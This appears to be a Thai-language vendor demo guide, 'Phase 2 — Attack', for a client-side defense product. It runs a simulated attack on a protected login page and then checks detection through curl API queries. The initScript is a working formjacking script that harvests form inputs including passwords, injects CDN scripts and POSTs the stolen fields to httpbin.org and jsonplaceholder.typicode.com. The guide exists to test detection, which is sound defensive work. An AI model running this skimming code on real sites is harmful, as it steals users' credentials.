- หน้าแรก
- การป้องกันฝั่งไคลเอนต์
- Demo
- เฟส 2 — การโจมตี
เฟส 2 — การโจมตี
เฟส 2 สร้างทราฟฟิกการโจมตีจำลองต่อแอปพลิเคชันที่ได้รับการป้องกัน และยืนยันว่า CSD ตรวจพบแล้ว เฟส 1 ต้องเสร็จสมบูรณ์ — การตรวจสอบทั้งหมดในขั้นตอนที่ 7 ต้องผ่าน — ก่อนดำเนินการต่อ
ขั้นตอนที่ 8: การจำลองการโจมตี
หัวข้อที่มีชื่อว่า “ขั้นตอนที่ 8: การจำลองการโจมตี”หลังจากตรวจสอบโครงสร้างพื้นฐานแล้ว (การตรวจสอบทั้งหมดในเฟส 1 ขั้นตอนที่ 7 ผ่าน) ให้รันสคริปต์จำลองการโจมตีเพื่อสร้างการตรวจจับ CSD สคริปต์ถูกกำหนดไว้ในคู่มือ Trigger Detection และ Attack Script Library
การรันอัตโนมัติโดย AI
หัวข้อที่มีชื่อว่า “การรันอัตโนมัติโดย AI”ผู้ช่วย AI ที่มีเครื่องมือการทำงานอัตโนมัติของเบราว์เซอร์จะรันการจำลองการโจมตีแบบโปรแกรม:
- นำทางด้วย initScript — ก่อนอื่นนำทางไปที่
about:blankเพื่อให้แน่ใจว่า document context สะอาด (หลีกเลี่ยง initScript ค้างจากการนำทางก่อนหน้า) จากนั้นnavigate_pageไปที่http://$F5XC_DOMAINNAME/#/loginพร้อมinitScriptที่บันทึกsetInterval,clearInterval,fetchและconsole.logแบบ native ก่อนที่ zone.js จะ patch เพื่อ poll ฟอร์มล็อกอิน กรอกข้อมูลประจำตัวผ่าน nativeHTMLInputElement.prototype.valuesetter และรัน Combined Detection Script แบบ inline ทันที ใช้ initScript ตามที่กำหนดด้านล่างทุกประการ - ปิดแบนเนอร์ Welcome —
press_keyด้วยEscapeเพื่อปิดแบนเนอร์ Welcome ในการเยี่ยมชมครั้งถัดไป แบนเนอร์อาจไม่ปรากฏ (คุกกี้ถูกเก็บไว้) กล่องโต้ตอบความยินยอมคุกกี้จะถูกปิดโดยอัตโนมัติด้วยปุ่ม Escape - รอให้เสร็จสมบูรณ์ — รอ 10 วินาทีเพื่อให้ callback การโหลด/ข้อผิดพลาดของสคริปต์ CDN ทั้งหมดและการ resolve Promise ของ fetch เสร็จสมบูรณ์
- เก็บหลักฐาน —
list_console_messagesเพื่อตรวจสอบ[CSD Demo] Simulation completeและผลลัพธ์การโหลด CDN;list_network_requestsที่กรองตามประเภทscriptและfetchเพื่อตรวจสอบรหัสสถานะ HTTP (200/201สำหรับสำเร็จ,pendingสำหรับคำขอที่ถูกระงับ)
Phase 2 initScript (ใช้ตามที่กำหนดทุกประการ):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);การรันด้วยตนเอง
หัวข้อที่มีชื่อว่า “การรันด้วยตนเอง”ผู้ดำเนินการที่ไม่มีเครื่องมือการทำงานอัตโนมัติของเบราว์เซอร์จะดำเนินการตามขั้นตอนด้วยตนเอง:
- นำทาง ไปที่หน้าล็อกอินของแอปพลิเคชันที่ได้รับการป้องกัน:
http://xF5XC_DOMAINNAMEx/#/login - ป้อนข้อมูลประจำตัวจำลอง — พิมพ์
test@example.comในฟิลด์ Email และP@ssword123ในฟิลด์ Password (อย่ากดส่งฟอร์ม) - เปิด DevTools — กด F12 และเปลี่ยนไปที่แท็บ Console
- รัน Combined Detection Script — วางสคริปต์จาก Trigger Detection — Run the Combined Simulation Script ลงใน console และกด Enter
- ตรวจสอบผลลัพธ์ console — ยืนยันว่าผลลัพธ์แบบเป็นเฟสของ
[CSD Demo]แสดง: การเก็บเกี่ยวฟิลด์, การ inject สคริปต์จาก 4 โดเมน CDN และการ exfil ข้อมูลไปยัง 2 endpoint
สิ่งที่ถูกกระตุ้น
หัวข้อที่มีชื่อว่า “สิ่งที่ถูกกระตุ้น”| สัญญาณ | พฤติกรรม | การตรวจจับ |
|---|---|---|
| การเก็บเกี่ยวฟิลด์ฟอร์ม | อ่านค่า input email และ password | สคริปต์ที่อ่านฟิลด์ฟอร์มที่ละเอียดอ่อน — ถูกตั้งค่าสถานะเป็นความเสี่ยงสูง |
| การ inject สคริปต์ | Inject แท็ก <script> 4 รายการจาก cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io | ตรวจพบโดเมนสคริปต์ third-party ใหม่สูงสุด 4 โดเมน (ความพร้อมใช้งาน CDN อาจแตกต่างกัน) |
| การ exfil ข้อมูล | ส่งข้อมูลที่เก็บเกี่ยวผ่าน fetch ไปยัง www.httpbin.org และ jsonplaceholder.typicode.com | การเรียกเครือข่ายไปยังโดเมนภายนอก |
หลักฐาน
หัวข้อที่มีชื่อว่า “หลักฐาน”ผู้ช่วย AI ควรรายงานสิ่งต่อไปนี้ สำหรับการรันอัตโนมัติโดย AI หลักฐานจะถูกเก็บรวบรวมแบบโปรแกรมผ่าน list_console_messages (ฟังก์ชัน polling ของ initScript จะบันทึกผลลัพธ์ไปยัง console) สำหรับการรันด้วยตนเอง ผู้ดำเนินการจะอ่านผลลัพธ์ console ของเบราว์เซอร์
| การตรวจสอบ | ที่คาดหวัง | สถานะ |
|---|---|---|
| โหลดหน้าล็อกอิน | 200 OK ที่ http://$F5XC_DOMAINNAME/#/login | ผ่าน / ไม่ผ่าน |
| รันสคริปต์ console | [CSD Demo] Simulation complete ในผลลัพธ์ console | ผ่าน / ไม่ผ่าน |
| ฟิลด์ที่เก็บเกี่ยว | จำนวน > 0 ในผลลัพธ์ console | ผ่าน |
| สคริปต์ที่ inject | 1–4 โดเมน CDN ในผลลัพธ์ console (บางรายการอาจล้มเหลวด้วยข้อผิดพลาดทรัพยากร) | ผ่านหากมีโดเมน CDN ใดก็ตามปรากฏ |
| ช่องทาง Exfil | ความพยายาม fetch POST 2 รายการในผลลัพธ์ console | ผ่าน |
ขั้นตอนที่ 9: การตรวจสอบการตรวจจับผ่าน API
หัวข้อที่มีชื่อว่า “ขั้นตอนที่ 9: การตรวจสอบการตรวจจับผ่าน API”Query endpoint ของ CSD API เพื่อยืนยันว่าการตรวจจับปรากฏขึ้น ใช้ลูป polling: query /detected_domains ทุก 60 วินาที; ดำเนินการทันทีที่ DET-3 ผ่าน หาก DET-3 ไม่ผ่านหลังจาก 10 นาที ให้ตรวจสอบการกำหนดค่า CSD หาก DET-3 ไม่ผ่านหลังจาก 30 นาที ให้หยุดและรายงานต่อผู้ดำเนินการ endpoint เหล่านี้ถูกจัดทำเอกสารไว้ใน API Reference และใช้การพิสูจน์ตัวตนและ namespace เดียวกับขั้นตอนก่อนหน้า
สคริปต์ที่ตรวจจับได้
หัวข้อที่มีชื่อว่า “สคริปต์ที่ตรวจจับได้”Query สคริปต์ที่ตรวจจับได้ใน 24 ชั่วโมงที่ผ่านมา:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| ฟิลด์ | ที่คาดหวัง | สถานะ |
|---|---|---|
total | > 0 (ตรวจจับสคริปต์ได้) | ผ่านหาก > 0; รอดำเนินการหาก 0 แต่ /detected_domains แสดงโดเมน exfil |
| ชื่อสคริปต์ | รวม CDN domains (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) ใน script_name | ผ่านหากโดเมน CDN ที่ inject ปรากฏ |
โดเมนที่ตรวจจับได้
หัวข้อที่มีชื่อว่า “โดเมนที่ตรวจจับได้”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| ฟิลด์ | ที่คาดหวัง | สถานะ |
|---|---|---|
total_domains | > 0 | ผ่านหาก > 0 |
| รายการโดเมน | รวม CDN และโดเมน exfil | ผ่านหากโดเมนที่คาดหวังปรากฏ |
ฟิลด์ฟอร์ม
หัวข้อที่มีชื่อว่า “ฟิลด์ฟอร์ม”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| ฟิลด์ | ที่คาดหวัง | สถานะ |
|---|---|---|
total | > 0 | ผ่านหาก > 0; รอดำเนินการหาก 0 แต่ DET-3 ผ่าน |
name | รวม email, password | ผ่านหากฟิลด์ที่ละเอียดอ่อนปรากฏ |
sensitivity | Sensitive สำหรับฟิลด์ email/password | ผ่านหาก ML จำแนกอย่างถูกต้อง |
สรุปหลักฐานเฟส 2
หัวข้อที่มีชื่อว่า “สรุปหลักฐานเฟส 2”หลังจาก query การตรวจจับทั้งหมด ให้แสดงสถานะการตรวจจับขั้นสุดท้าย:
| รหัสทดสอบ | การตรวจสอบ | สถานะ |
|---|---|---|
| DET-1 | ตรวจจับสคริปต์ได้ (endpoint /scripts) | ผ่านหาก > 0; รอดำเนินการหากว่างแต่ DET-3 ผ่าน |
| DET-2 | ตรวจจับโดเมน CDN ได้ | ผ่าน / ไม่ผ่าน |
| DET-3 | ตรวจจับโดเมน exfil ได้ (/detected_domains) | ตัวบ่งชี้หลัก — ผ่านหาก www.httpbin.org หรือ jsonplaceholder.typicode.com ปรากฏ |
| DET-4 | ตรวจจับฟิลด์ฟอร์มได้ (endpoint /formFields) | ผ่านหาก > 0; รอดำเนินการหากว่างแต่ DET-3 ผ่าน |
เฟส 2 เสร็จสมบูรณ์ ดำเนินการไปยัง เฟส 3 — การบรรเทาผลกระทบ เพื่อใช้กฎการบรรเทาผลกระทบและยืนยันว่าโดเมนถูกบล็อก